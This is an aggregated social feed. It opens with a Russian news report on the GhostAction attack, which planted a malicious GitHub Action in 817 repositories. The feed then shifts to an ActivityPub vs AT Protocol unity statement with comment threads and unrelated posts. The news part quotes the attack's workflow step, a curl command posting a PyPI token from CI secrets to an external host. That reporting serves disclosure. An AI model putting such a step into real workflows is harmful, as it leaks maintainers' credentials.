В ходе атаки GhostAction скомпрометировано 817 репозиториев на GitHub Исследователи из компании GitGuardian выявили массовую атаку на пользователей GitHub, в ходе которой был получен контроль над 327 учётными записями и осуществлена подстановка вредоносного обработчика Github Action в 817 репозиториев. Атака привела к утечке 3325 секретов, используемых в системах непрерывной интеграции и передаваемых через переменные окружения, включая токены доступа к PyPI, GitHub, NPM, DockerHub и различным облачным хранилищам. GitHub Actions даёт возможность разработчикам кода прикреплять обработчики для автоматизации различных операций в GitHub. Например, при помощи GitHub Actions можно выполнить определённые проверки и тесты при совершении коммитов или автоматизировать обработку новых Issues. Вредоносный обработчик распространялся под именем "Github Actions Security" и включал в секции "run" команду "curl", отправляющую содержимое переменных окружения на внешний хост при запуске задач в окружении непрерывной интеграции. Вредоносный коммит добавлялся с учётных записей мэйнтейнеров проектов, которые, вероятно, до этого были взломаны или стали жертвой фишинга.
Атака выявлена после разбора аномальной активности, связанной с пакетом FastUUID, предоставляющем Python-обвязку над Rust-библиотекой UUID. Пакет FastUUID, для которого за последнюю неделю зафиксировано почти 1.2 миллиона загрузок, используется в качестве зависимости в популярном проекте LiteLLM, насчитывающем в PyPI более 5 миллионов загрузок в неделю. Анализ изменений в репозитории FastUUID показал, что 2 сентября мэйнтейнер проекта добавил коммит с новым обработчиком Github Action, в котором содержался код для отправки токена к репозиторию PyPI на внешний хост. - name: Github Actions Security run: | curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' bold-dhawan.45-139-104-115.ple…
Проблему удалось выявить до того как злоумышленники воспользовались перехваченным токеном - публикации вредоносных изменений или модифицированных версий пакета в PyPI для FastUUID не зафиксировано. Похожие подстановки Github Action выявлены ещё в 816 репозиториях, владельцам которых, а также администрации PyPI, GitHub, NPM и DockerHub, направлены уведомления. По состоянию на вчерашний вечер вредоносные коммиты были отменены примерно в 100 репозиториях. В настоящее время при поиске в GitHub определяется 671 коммит с вредоносным Github Action.
Over the past few months in particular, the Social Web Community Group has seen an increase in heated discussions online that have been arguing protocol superiority and creating conflict between ActivityPub and AT Protocol, or trying to promote one over the other. These discussions have generally not been productive, created contention within the community that stands in the way of collaboration, and been a hotbed for conflict, disagreements, and misinformation. There has often been significant biases exhibited within these conversations.
ActivtyPub in its current usage does make different design decisions to AT Protocol, but ActivityPub is not necessarily that different from AT Protocol: both are open social web protocols.
There is an entire section of the ActivityPub specification that isn't as well known or widely adopted but which, at a high level, provides fairly similar ideas to those emphasized within the AT Protocol community for separation between data, identity and applications. Recently, a taskforce within the Social Web Community Group has been established to advance what is now known as the ActivityPub API.
Whilst we may have our differences at present, over time those gaps will narrow, as we share a lot more in common than we have differences.
There does not have to be a “winning” protocol. We do not build a better open social web for everyone by fighting and arguing about protocol superiority. That is not how we achieve a better open social web. Instead, we must work together, cross-pollinate and share ideas, and participate within each other's communities with respect and mutual understanding. Arguing between us only emboldens those that seek to derail and destroy efforts to build an open social web.
The practice of collaboration outside of our own groups has a long history within the standards community, whether that is with competing companies working together on standards or protocols, or collaboration between different standards bodies like the W3C and IETF.
There has already been cross-pollination of ideas between the people working on ActivityPub and AT Protocol. For example, AT Protocol adopted an internet draft that was originally written to support the ActivityPub ecosystem, and projects within ActivityPub have adopted some ideas on content labeling and starter packs from the AT Protocol ecosystem.
Both ActivityPub and AT Protocol can and do co-exist. This co-existence is perhaps best emphasized by the outstanding work of Bridgy Fed project, which connects ActivityPub, AT Protocol, and other protocols together allowing for interoperability and community that crosses between protocols. If you wanted to summarise this letter on a t-shirt, it would be “People > Protocols > Platforms”.
This statement is a call for cooling the temperature of discussions and a reminder to be respectful of each other and the huge amount of work everyone is putting in to build a better open social web. We do not win by tearing each other down, which only emboldens and empowers those who do not want either protocol to succeed.
This statement was written following an initial discussion at this month's Social Web Community Group meeting, and has been reviewed by several members of the CG.
I think a lot of the hate is because of the realities of the real world implementation of the protocols. The fact that AT Proto is mostly run through the main instance with only nominal federation through other relays. And the fact that AT Proto requires the full firehouse replicated to all relays.
I probably prefer most of AT Proto other than these two issues. Regardless I am on mastodon with it bridged over to bluesky
That’s good to know. My understanding is admittedly out of date as I haven’t really kept up with ATProto as I get much more activity from the AP side of the house. I have been excited about projects like Blacksky and such acting as alternative relays.
This is the first draft of a statement on the recent conflicts that have been happening between communities on both sides of ActivityPub and AT Protocol, as discussed within this month's Social...
I agree; I don't know the whole situation, but stating "Competing protocols are not good for the space. They divide the community and prevent reaching critical mass." under a post advocating for unity and not war between protocols is... strange.
People are arguing because ATProto is not open. And that couldn't be more clear in the simple fact that BSky hosts tens of millions of users, 99.95% of "the ATmosphere". While AP has <1% of the number of users and yet they're strewn across tens of thousands of servers.
We've already seen the implications of such closure in the silencing of users by foreign govts, silencing of users in an entire state, and enforcement of draconian ID laws on millions of users in the EU. Meanwhile AP is largely unaffected.
And BSky is still taking the Silicon Valley approach of "we'll figure out how to make money later", to which the answers are the same as every other social platform. They're not funded by donations, they're funded by investments from investors who expect to see a profit eventually.
The statement has been... uh... updated. The URL now reads:
A statement was originally published here, however, we have since received an objections to its publication citing that proper processes were not followed, and therefore it has been taken down and republished on Emelia's website instead, whilst we seek community group consensus. When Emelia merged the pull request, she had been granted permission to do so by the co-chair of the Social Web CG, and given the number of signatories with various significant contributions to ActivityPub and ActivityStreams, Emelia believed that there was enough agreement to publish.
подлючил джойстик от PS4 к андроидному планшету и он вроде работает, но как-то наполовину. левый стик норм, а правый почему-то решил что ему вместо движени надо нажимать кнопки L2 и опшн. вместо X нажимается О и подобная фигня.
может быть кто-то знает как чинить подобные проблемы?
Damn, 80% of my Fedi TL is mostly catboys, all thx to me following @yura@udongein.xyz 😁 Not complaining, I liked it. Though I get very flustered whenever I doomscroll my fedi TL, and then sometimes decided to just be like “this is too cute, am just gonna do something else”
@di Не смог найти вот эту марку со второй полки. Смутно помню, что видел ее нас в магазинах. По-моему, какая-то бурда дешманская. А вот Cielo с нижней полки у нас стоит в районе 1000-1100
@alado на 1й и 2й полках (если сверху считать) - это meadow - компания из ЮАР, которая делает всё: вино, чай, печеньки итд итп а на нижней полутора литровые Cielo и Bayengra
poor physical resilience, poor data integrity and retention at both rest and in flight, a mix of standard and proprietary protocols, a massive standards shitshow, utterly uninteligible branding on speed grades, and a market for fakes and bullshit claims that makes buying them a miserable gamble
microSD in particular is a product category that I find baffling. it is so physically small that it becomes useless as a portable storage medium because you 100% will lose it, and if you need any appreciable density or performance on the thing it's also very expensive, which makes losing it all the more terrible. so most of the time it's only getting used for expansion storage, which would be far better served by the device just having more native storage using a far better device type.
Каждую первую субботу сентября отмечается Всемирный день бороды (англ. World Beard Day). Все представители мужской половины человечества, носящие бороду, могут присоединиться к акциям, посвящённым этому празднику.История ношения бороды или отказа...
Сейчас возле меня произошла довольно смешная ситуация. Низкий тощий мужик пытался удержать свою огромную овчарку, чтобы она не побежала голубей ловить (Ну или это был ребёнок с лысиной)
Помню, был в Fix Price стеклянный молочник похожий где-то на стакан объёмом, только усечённой пирамидкой, всё хотел его купить, да не знал, зачем. А вот затем бы и пригодился
🪟 Мало кто знает, но даже на таком относительно современном компьютере с шильдиком DNS вполне возможно запустить Windows 95.
А смысл, если эту же систему запускали на различных эмуляторах? Взять бы тот же DOSBox, VMware и PCem.
А если на андроиде, то можно попробовать установить систему на Limbo PC, по которому я сильно балдел ещё в 2016 году на своем стареньком планшете от Huawei.
Минцифры определило, какие сайты будут работать при отключениях интернета. Как сообщили источники РБК, туда вошли госсервисы, маркетплейсы, онлайн-карты, банковские сервисы и др. Список планируется расширять
только вот минцифры до сих пор не определило причины, при которых интернет будет отключаться. И самое главное - способы противодействовать отключениям.
@Digitual Причины отключения будут придуманы позже. И естественно всё для блага общественности и государства. Патамушта ночью летают вражеские дроны и поэтому отключим эти ваши мобильные интернеты.
Abstieg von der Wasseralm zum Bootsanleger Salet bei strömendem Regen über den Röthsteig. Sehr anstrengend, ich war froh, als wir unten waren. Der Steig ist anspruchsvoll aber auch sehr gut gesichert, macht bei gutem Wetter wahrscheinlich mehr Spaß. #wandern #königssee
Чувак детально рассказывает и показывает, как он при помощи оптимизированных исходников от оригинальной Super Mario Bros. слепил все 32 уровня в один большой мегауровень.
TORFdot0
в ответ на flamingos-cant (hopepunk arc) • • •I think a lot of the hate is because of the realities of the real world implementation of the protocols. The fact that AT Proto is mostly run through the main instance with only nominal federation through other relays. And the fact that AT Proto requires the full firehouse replicated to all relays.
I probably prefer most of AT Proto other than these two issues. Regardless I am on mastodon with it bridged over to bluesky
нравится это
tfm, ns1, crank0271, wizardbeard, yessikg, sabreW4K3, redshift и alsaaas нравится это.
flamingos-cant (hopepunk arc)
в ответ на TORFdot0 • • •It doesn't, not even Bluesky runs a full network archive relay anymore because it proved to be too complicated and expensive.
нравится это
TORFdot0, ns1, crank0271, raoul, gregdaynes и Frosty нравится это.
redshift не нравится это.
TORFdot0
в ответ на flamingos-cant (hopepunk arc) • • •нравится это
crank0271 и mufasio нравится это.
flamingos-cant (hopepunk arc)
в ответ на TORFdot0 • • •Introduction to AT Protocol
mackuba.euнравится это
ns1, crank0271, raoul, General_Effort, gkak.laₛ, timconspicuous и Frosty нравится это.
redshift не нравится это.
timconspicuous
в ответ на flamingos-cant (hopepunk arc) • • •Evan Prodromou commented to say he "disagrees with the purpose of this statement".
I don't understand what he gets out of being so antagonizing. Lovely statement though, nice to see so many signatures.
Create statement on ActivityPub vs AT Protocol discussions (2025-09-05) by ThisIsMissEm · Pull Request #45 · swicg/general
GitHubнравится это
ns1, crank0271, raoul, sabreW4K3, General_Effort, gkak.laₛ, flamingos-cant (hopepunk arc) и Frosty нравится это.
mufasio не нравится это.
SharkAttak
в ответ на timconspicuous • • •timconspicuous нравится это.
sabreW4K3
в ответ на flamingos-cant (hopepunk arc) • • •Ademir нравится это.
Ulrich
в ответ на flamingos-cant (hopepunk arc) • • •People are arguing because ATProto is not open. And that couldn't be more clear in the simple fact that BSky hosts tens of millions of users, 99.95% of "the ATmosphere". While AP has <1% of the number of users and yet they're strewn across tens of thousands of servers.
We've already seen the implications of such closure in the silencing of users by foreign govts, silencing of users in an entire state, and enforcement of draconian ID laws on millions of users in the EU. Meanwhile AP is largely unaffected.
And BSky is still taking the Silicon Valley approach of "we'll figure out how to make money later", to which the answers are the same as every other social platform. They're not funded by donations, they're funded by investments from investors who expect to see a profit eventually.
нравится это
Gtoasted, Scroll Responsibly, luluu, tfm, Lennart Twen, Daggity, airportline, Goldmaster и alsaaas нравится это.
Microw
в ответ на Ulrich • • •ATProto is open. Bluesky is not.
What we currently see is similar to how ActivityPub looked when it was first drawn up as a protocol: when 99% of users were on Mastodon GmbH's server.
The ten thousands of servers came later. And in theory ATProto is defined open enough that it is possible to implement it independently from Bluesky.
нравится это
gregdaynes, Chingzilla, Scroll Responsibly, Frosty и Bricriu нравится это.
Ulrich не нравится это.
Ulrich
в ответ на Microw • • •Not a distinction worth making when 99+% are all on the same server.
99% of the 12 users? Again, BSky is tens of millions of users. Why is it you think they're all on the same server?
Then why is no one doing it?
нравится это
luluu, tfm и alsaaas нравится это.
General_Effort
в ответ на flamingos-cant (hopepunk arc) • • •The statement has been... uh... updated. The URL now reads:
нравится это
tfm и alsaaas нравится это.